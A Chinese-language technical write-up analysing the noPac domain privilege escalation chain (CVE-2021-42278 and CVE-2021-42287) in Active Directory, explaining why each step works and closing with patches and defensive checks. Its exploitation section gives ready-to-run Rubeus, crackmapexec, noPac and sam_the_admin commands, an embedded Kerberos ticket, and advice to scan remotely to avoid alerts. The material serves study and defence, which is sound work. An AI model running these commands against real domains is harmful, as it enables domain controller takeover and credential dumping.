一、起因:
在2021年11月份,Microsoft发布了两个域内提权漏洞CVE-2021-42287和CVE-2021-42278,但因为POC未公开,也没有引发关注,后来12月份这两个漏洞的利用方式被一一放出,引发了很多windows域安全研究者的关注,这两个漏洞可以进行组合攻击,在获取到域内普通用户权限的情况下模拟成域控机器账号,从而拿到域控权限。
之前我本人做过漏洞复现,但研究原理一直拖到了现在,实在是抱歉,刚好趁着这阵子研究一下漏洞原理:这个本地提权漏洞是两个漏洞的组合拳,首先先利用了CVE-2021-42278 漏洞解决了一个安全绕过漏洞,这个漏洞可以允许攻击者使用计算机账号 sAMAccountName来欺骗冒充域控,CVE-2021-42287漏洞则是解决了Kerberos特权属性证书(PAC),并且有个逻辑漏洞会在查找不到用户时在其sAMAccountName后加入$继续查询,从而到导致攻击者可以成功利用并且模拟域控从而达到提权的目的。
二:原理分析:
看标题大家也知道,这里是一个问为什么的课堂,为什么要这么做?其他做法行不行呢?这次我把攻击流程整理起来,来一起问一下为什么要这么做?从而去了解这个漏洞的原理:
根据挖掘这个漏洞作者的文章我整理了一下其攻击流程:
1、创建机器账号,清除该机器的servicePrincipalName
2、将创建的机器账号的sAMAccountName更改为域控的主机名,注意后面不带$符号---->CVE-2021-42278
3、为创建的机器账号申请TGT
4、修改创建的机器账号的sAMAccountName为其原先的值(随便命名均可)
5、使用之前获取到的TGT向域控发起S4U2Self请求服务票据---->CVE-2021-42287
6、使用获取到的票据访问到域控主机,后续便可以DCSync获取到域内hash。
第一问:什么是sAMAccountName?
听这个漏洞的名字,我们就可以得知是sAMAccountName欺骗,那么先了解一下什么是sAMAccountName:
在Active Directory 域中每一个用户即是一个对象,每个对象都具有各种各样的属性,其中就包括姓名,创建时间,邮箱地址等关于这个用户的信息,而每个域用户的用户名对应的属性值便为userPrincipalName 和 sAMAccountName 。那为什么是两个呢?因为在Windows 2000之前使用的用户名是sAMAccountName,则在Windows 2000之后出现了新的属性UserPrincipalName(缩写UPN),它也可以用来登陆到AD域主机上,这两个现在都可以作为登陆用户名使用。我们可以连接ldap进行查看域用户haha的sAMAccountName值为haha,平时常使用域名\用户名的格式,UserPrincipalName值为haha@test.com为用户名@域名的格式。
根据挖掘这个漏洞作者的思路来说:首先我们需要创建一个机器账号,默认情况下普通域用户可以创建10个域机器账号,对应的是域内MachineAccountQuota (MAQ) 属性。
get-addomain | select -exp DistinguishedName | get-adobject -prop 'ms-DS-MachineAccountQuota' | select -exp ms-DS-MachineAccountQuota
那么便有了新的问题:
第二问:为什么这里需要一个机器账号,而不是一个普通域用户?
这里我理解的是因为我们手动创建了域机器账号,便对该机器账号有WriteProperty权限
那么便可以操作修改该机器账号的sAMAccountName,从而达到欺骗域控的目的。如果是普通用户行不行呢?答案还是不行的,原因在这个大佬写的文章中从XP源码泄露看NoPac漏洞
在攻击流程的第一步后半段写的是要清除机器账号的spn,那么第三个问题来了
第三问:为什么要清除机器账号的spn?
首先我们要知道,当机器账号创建时便默认携带了spn,具体可以通过连接LDAP服务进行查看
而默认在域内只有机器账户或者域管账户才有权限注册SPN。
回到我们的问题:为什么要清理创建的机器账号的spn?
原因在于如果修改了 samAccountName、DnsHostname 或 msDS-AdditionalDnsHostName 这其中的一个,那么SPN将会使用新值替换,要是修改了samAccountName为域控的主机名,那么其SPN将会变成域控的SPN,便会导致后续的S4U请求异常,故要清除掉默认的SPN。
第二步说要修改创建的机器账号的sAMAccountName更改为域控的主机名,注意这里不加$,那么第四个问题便油然而生:
第四问:为什么修改创建的机器账号的sAMAccountName时不能加$符号呢?
我们都知道在域内区别域用户和域机器账号,其sAMAccountName最大的区别在于最后是否有$,有$为机器账号,没有则为域用户
haha用户的sAMAccountName:
win2008机器账户的sAMAccountName:
这里就涉及到CVE-2021-42287漏洞了,后面有讲
那如果创建了个机器账号,然后将其sAMAccountName修改为域控的主机名,后面不带$,那么这里就有了新的问题:
第五问:你这么改,域控他老人家会愿意吗?有没有什么限制?
说实话还真没限制,因为域用户对其创建的域机器账号有写权限,便可以修改其为任意值,只要满足sAMAccountName的格式就行,并且KDC那边没有限制,所以这里便有了CVE-2021-42278漏洞,可以通过实践来证明:
接下来便可以使用创建的机器账号申请Kerberos TGT
这里又有了个问题:当我们把目标机器账号的sAMAccountName修改为DC的主机名之后,那么这里申请的TGT会不会是DC的TGT呢?
第六问:申请的TGT是不是DC的呢?
这个问题就很简单了,那答案肯定就不是的呢,域控只会将该机器账号生成一个专属于该机器账号的TGT
操作命令为:
.\Rubeus.exe asktgt /user:"DC" /password:"www123456#" /domain:"test.com" /dc:"dc.test.com" /nowrap
由此可证明该TGT为机器账号的TGT并非域控DC的
那么问题又来了,这个漏洞其实作用不大,只是改了机器账号的sAMAccountName值域控的主机名,申请到的还是自己的TGT,那就可以低危收场了。但接下来由于配合了CVE-2021-42287漏洞,从而将漏洞等级直线提升,接下来慢慢讲。
当我们把第四步执行完,即修改创建的机器账号的sAMAccountName为其原先的值,在第五步将使用之前获取到的TGT向域控发起S4U2Self请求服务票据,这里就设计到一个KDC的漏洞---CVE-2021-42287,当我们使用S4U为机器账号申请ST票据时,因为域内没有sAMAccountName值为DC的账号,那么KDC找不到的时候,会尝试在sAMAccountName后加上$符号,那么域控就明白了,原来是DC$(即域控的机器账号)来申请票据呢,因为KDC便把域控机器账号的票据给了请求者,那么请求者便可以申请访问域控主机的cifs票据了,或者直接申请个ldap票据,进行dcsync操作,这里也回答了第四问的问题,由此,该漏洞便被提升到了顶端。
第七问:当KDC验证用户提交的S4U请求时,怎么不验证账号密码或者用户权限呢?
原因在于kerberos协议就是个无状态的协议,何为无状态的协议?就是个HTTP认证一样,不会去验证你之前的请求是否正确,只要有所需的数据即可跳过之前的认证。
接下来便是请求ST票据的过程了,我这里申请的是cifs票据
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/dc.test.com" /dc:"dc.test.com" /ptt /ticket:doIEhjCCBIKgAwIBBaEDAgEWooIDrTCCA6lhggOlMIIDoaADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbaOCA20wggNpoAMCARKhAwIBAqKCA1sEggNXoz29uDX6ZX0H1L+gMS3+GrCkJmk0cchvc1/FRt95/3nAm37RZjUQDI8e/jajXVh4YkfpxSaF+8WCiasvOClWElotS0s8iGCmUiN/r124P7zEGaGnPBXFEmfmYhRicblSHPVdELMDRF4J/5C5xLMDvGfpZtP2bY2oYUdh8ZsGW1XDIvsH913bw9fg1cQNOvA6SG9d/8Au8adDBnJyEXeZ+WTKzV/atVBcn3gIzyeJeU9L0Z0qvwqGH7HAxMFMajxdLz11P4du7bIo3HCG7XYR3Vo9MRoawcMzajIl+Zu2dORdm2bZ42hDuUsXMu7HSFC4s6zlpCQLHRIqE5f/e2JlqcewsCSr9l6/vnd9yVZmC41hslHgR5vOt8GRzkszMmE/lIyWMdmFjmS6a6wiBHe6AAfSoC1651lqzFc2pNZZFRhs9bkHCscg9vuBjtfGk4MiQiy2MEeF9KwYhzHIsdF9DNQV0gVxg3DRoNLZM+PU6/wlBHhxlGsO7fZeIXpCN97Q8gcfRHcQs3Ra8elphMc0fr4RF5D6saTZOSvB2TCIh7uA/dNcvq4enXy7WW0cgnE8xi9AThoLg1eAltsvdoM4EvGqZCknoaNbqh177Mk3ieaKO1vW+9b0RxgO2DDbCGPYbPdfo9l3SXCPTU2r9g5GnhtiwTwZj6g5QFGLr6+x5gNNvdIeqRfQFWJ2L7YqPzYvNeyfejrAbhm9It3L+5x2jJENInbimWMKyUoDeuAqqkpVBQLKp5SGcRuPt/iDtrm39CSwjEkLurUnukfI4YfQOAWYyzUzFHozcsyqlWCngB5P8iu+KTCSc8KNduDRsMj9i6cHZRwqNmhp3JSGdaY1c0FjuF6CmB0LwR0aEpJOm2OopKCLOBM/qcJ/dfTbKsoeBw9JR2v/3yr4t8TrSQrK2abGkyc4zaps7D7qiAIj/lwcb7CgjBNpBp00rmxHzMBCJ11sY4zGI1V6qtzmbal7vxbUCTePq5+kUMX3GTXUKij64Yc2op/eZI667gI5yGBnZXWOM/CBRu240V3YtLzGufN+zdRmHAP6Q/NRhrZC6dENdPesnGSddBIjXpDtH64lDwEimaNw2/6XjZGubgndnWSEiAS/Hxx/O6IqZjEyQs5yCU79IIYWo4HEMIHBoAMCAQCigbkEgbZ9gbMwgbCgga0wgaowgaegGzAZoAMCARehEgQQeK78RFtWUOHIuxDkLZTKp6EKGwhURVNULkNPTaIPMA2gAwIBAaEGMAQbAkRDowcDBQBA4QAApREYDzIwMjIwNzE5MDgyMjQ0WqYRGA8yMDIyMDcxOTE4MjI0NFqnERgPMjAyMjA3MjYwODIyNDRaqAobCFRFU1QuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbQ==
第八问:为什么我们这里要是有S4U2Self来请求呢?
细心的朋友应该能注意到我们在使用Rubeus的时候,添加了参数/self表示使用S4U2Self来请求,这里来讲一下为什么要这么做:
我们在使用机器账号申请TGT时是没有PAC的,其中的PAC就是个用户凭证,当KDC拿到PAC之后会去解密,获取用户的sid,以及所在组,然后在判断用户是否有访问该服务的权限,有哪些权限,并且PAC对应用户和服务全程都是不可见的并且是进行了签名,其他人无法篡改,只有KDC才能制作和查看。那么回到刚刚的问题上,S4U2Self有个特性,当KDC在校验S4U2Self请求合法后,它会根据S4U2Self模拟用户生成一个该用户的PAC,从而便能请求到具体的服务。
第九问:如果进入域内发现MAQ等于0,我们该怎么办呢?
放弃漏洞or继续深入?
当然得继续深入了,我们刚刚了解到当MAQ为0时便不能创建机器账号,也不能改对应的属性,那么我们能不能去寻找一些能修改已存在的机器账号的用户?在学习基于资源型的约束委派时,我们得知将机器拉入域中的账号,默认便对该机器有WriteProperty,那么便可以去查找域内存在mS-DS-CreatorSID的机器账号,然后对应找到目标用户,在拿到其权限后便可修改机器账号属性,从而实现该漏洞的利用。
三、漏洞利用:
在想要利用漏洞时,我习惯的是先去做漏洞扫描,然后在去利用,那么扫描也有两个情况:在目标主机上扫描和远程连接扫描,其实更推荐远程扫描,这样不至于触发告警
远程扫描:
crackmapexec当初号称是网络渗透的瑞士军刀,其功能也是十分的强大,也集成了该漏洞的扫描,使用账号密码进行连接-M指定nopac即可远程扫描:
crackmapexec smb 域控ip -u 'haha' -p 'www123456#' -d test.com -M nopac
crackmapexec smb 192.168.189.128 -u 'haha' -p 'www123456#' -d test.com -M nopac
使用nopac.py进行扫描
https://github.com/knightswd/NoPacScan
本地扫描:
使用noPac进行扫描
https://github.com/cube0x0/noPac
用法:
.\noPac.exe scan -domain test.com -user haha -pass "www123456#"
Linux下利用:
使用工具sam-the-admin一条龙:
https://github.com/WazeHell/sam-the-admin
但是使用的时候需要注意一下作者在131行和133行使用的这两个工具默认系统没有安装
如果安装了impacket之后,替换为python3 /usr/local/bin/smbexec.py和python3 /usr/local/bin/secretsdump.py即可
python3 sam_the_admin.py "test.com/haha:www123456#" -dc-ip 192.168.189.128 -shell
彩蛋:
这里如果我们将任意一台机器的sAMAccountName改为域控的主机名,那么这个漏洞就无法成功运行了,是个很有意思的情况,原因就在于在域内sAMAccountName是唯一的,不能重复,如果我们创建一个新的机器账号,并且将其sAMAccountName改为域控的主机名,那么就能简单的起到防御攻击者使用该漏洞去攻击的行为。
操作如下:
接下来执行的时候脚本便会提示目标已打补丁,原因就在于sAMAccountName是唯一的,很有意思的发现。
Windows下利用:
使用noPac来进行攻击:
https://github.com/cube0x0/noPac
.\noPac.exe -domain test.com -user haha -pass "www123456#" /dc dc.test.com /mAccount hahapc /mPassword www123456# /service cifs /ptt
注:
mAccount为机器账号名
mPassword为机器账号密码
四、漏洞防御:
- 安装微软的补丁 KB5008602和KB5008380
- 修改AD域的MachineAccountQuota的属性值为0,但若属性值为0,也可以寻找mS-DS-CreatorSID来绕过。
- 使用我们彩蛋的方法,创建一个机器账号,将其samAccountName改为DC的主机名。
- 查找域内具有无效SamAccountName属性的任何计算机帐户
Get-ADComputer -Filter { samAccountName -notlike "*$" }
参考:
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
https://www.hackingarticles.in/windows-privilege-escalation-samaccountname-spoofing/
https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/
https://lonmar.cn/2021/12/23/no-pac-analysis/
https://www.bupaqiang.com/webaq/479.html